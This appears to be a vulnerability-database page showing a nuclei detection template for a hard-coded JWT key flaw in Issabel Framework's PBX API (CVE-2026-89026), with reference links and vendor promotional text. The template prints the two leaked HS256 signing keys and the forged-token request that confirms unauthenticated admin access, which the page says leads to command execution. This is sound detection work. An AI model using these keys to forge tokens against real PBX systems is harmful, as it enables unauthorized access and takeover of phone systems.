Lucene search
+L

Issabel Framework - Hard-Coded PBX API JWT Key

🗓️ 24 Oct 2026 03:12:00Reported by ProjectDiscoveryType 
nuclei
 nuclei
🔗 github.com👁 7 Views

Unauthenticated attackers can execute arbitrary OS commands as Asterisk user in Issabel Framework.

Related
Refs
Code
ReporterTitlePublishedViews
Family
githubexploit
GithubExploit
Exploit for CVE-2026-89026
21 Sep 202610:59
–githubexploit
githubexploit
GithubExploit
Exploit for CVE-2026-89026
16 Sep 202617:34
–githubexploit
circl
Circl
CVE-2026-89026
15 Sep 202618:08
–circl
cve
CVE
CVE-2026-89026
15 Sep 202616:41
–cve
cvelist
Cvelist
CVE-2026-89026 Issabel Framework Hard-coded JWT Key RCE via pbxapi/manager/originate
15 Sep 202616:41
–cvelist
euvd
EUVD
EUVD-2026-78838
15 Sep 202616:41
–euvd
kitploit
Kitploit
CVE-2026-89026
23 Oct 202610:31
–kitploit
kitploit
Kitploit
CVE-2026-89026
24 Sep 202614:53
–kitploit
mend
Mend
CVE-2026-89026
15 Sep 202616:41
–mend
nvd
NVD
CVE-2026-89026
15 Sep 202617:17
–nvd
Rows per page
id: CVE-2026-89026

info:
  name: Issabel Framework - Hard-Coded PBX API JWT Key
  author: alex
  severity: critical
  description: |
    Issabel Framework before commit b97dbaf uses a shared HS256 key for PBX API bearer tokens. This template uses the read-only AMI ExtensionState action to check whether the PBX API accepts a short-lived token signed with either the vulnerable upstream-source key or the key in the 5.0.0-2 RPM, after rejecting an unrelated key.
  impact: |
    Unauthenticated attackers can execute arbitrary OS commands as the Asterisk user, potentially compromising the system.
  remediation: |
    Update to the version after commit b97dbaf or latest available version.
  reference:
    - https://github.com/IssabelFoundation/framework/commit/b97dbaf0b71c1c36f841e672b664afbeb02773bd
    - https://github.com/IssabelFoundation/firstboot/commit/74b28cab9a35
    - https://www.vulncheck.com/advisories/issabel-pbx-hard-coded-jwt-key-rce-via-pbxapi-manager-originate
    - https://nvd.nist.gov/vuln/detail/CVE-2026-89026
  classification:
    cvss-metrics: CVSS:4.0/AV:N/AC:L/AT:N/PR:N/UI:N/VC:H/VI:H/VA:H/SC:N/SI:N/SA:N
    cvss-score: 9.3
    cve-id: CVE-2026-89026
    epss-score: 0.00685
    epss-percentile: 0.52071
    cwe-id: CWE-321
  metadata:
    max-request: 3
    vendor: issabel
    product: framework
  tags: cve,cve2026,issabel,pbx,jwt,auth-bypass,vuln,vkev

flow: http(1) && http(2)

variables:
  access_claims: '{"data":{"name":"admin"}}'
  control_key: "unrelated-lab-control-key-for-jwt-differential"

http:
  - raw:
      - |
        GET /pbxapi/manager/extensionstate?extension=1000&context=from-internal HTTP/1.1
        Host: {{Hostname}}
        Authorization: Bearer {{generate_jwt(access_claims,"HS256",control_key,unix_time(120))}}
        Accept: application/json

    matchers:
      - type: dsl
        dsl:
          - status_code == 403
        internal: true

  - raw:
      - |
        GET /pbxapi/manager/extensionstate?extension=1000&context=from-internal HTTP/1.1
        Host: {{Hostname}}
        Authorization: Bearer {{generate_jwt(access_claims,"HS256",key,unix_time(120))}}
        Accept: application/json

    payloads:
      key:
        - "da893kasdfam43k29akdkfaFFlsdfhj23rasdf"
        - "YjViOTcxMWMzMDc5M2RkNDdiYTNkZDk1YTgyYjNjYzdhNTkwNTUwODk2MjU1YTE0"
    stop-at-first-match: true

    matchers:
      - type: dsl
        dsl:
          - contains_all(body, '"Response":"Success"', '"Message":"Extension Status"', '"Exten":"1000"')
          - contains(content_type, "application/json")
          - status_code == 200
        condition: and
# digest: 4a0a00473045022100809aeacb63e9efa1dbce77102ca64798d4ba58b9b35b23c259c1bcb0d0fdc2b102207fb0f504cabc57d03e4490276967349ddfe85db23e4c6478e481f472111936c1:922c64590222798bb761d5b6d8e72950

Data

Build on a solid foundation with Vulners data

We provide the essential building blocks for cybersecurity solutions with comprehensive, structured, and constantly updated vulnerability and exploits data

Api

Power your application with Vulners API

The Vulners REST API offers reliable, high-performance access to vulnerability intelligence, with 99.9% SLA uptime and CDN-backed data delivery for seamless global access

App

Assess and manage vulnerabilities with Vulners tools

Built on top of Vulners' database and SDK, end-user solutions give security professionals and developers lightweight and powerful tools for vulnerability remediation

16 Oct 2026 03:19Current
6.1Medium risk
Vulners AI Score6.1
CVSS 49.3
CVSS 3.19.8
EPSS0.02699
SSVC
7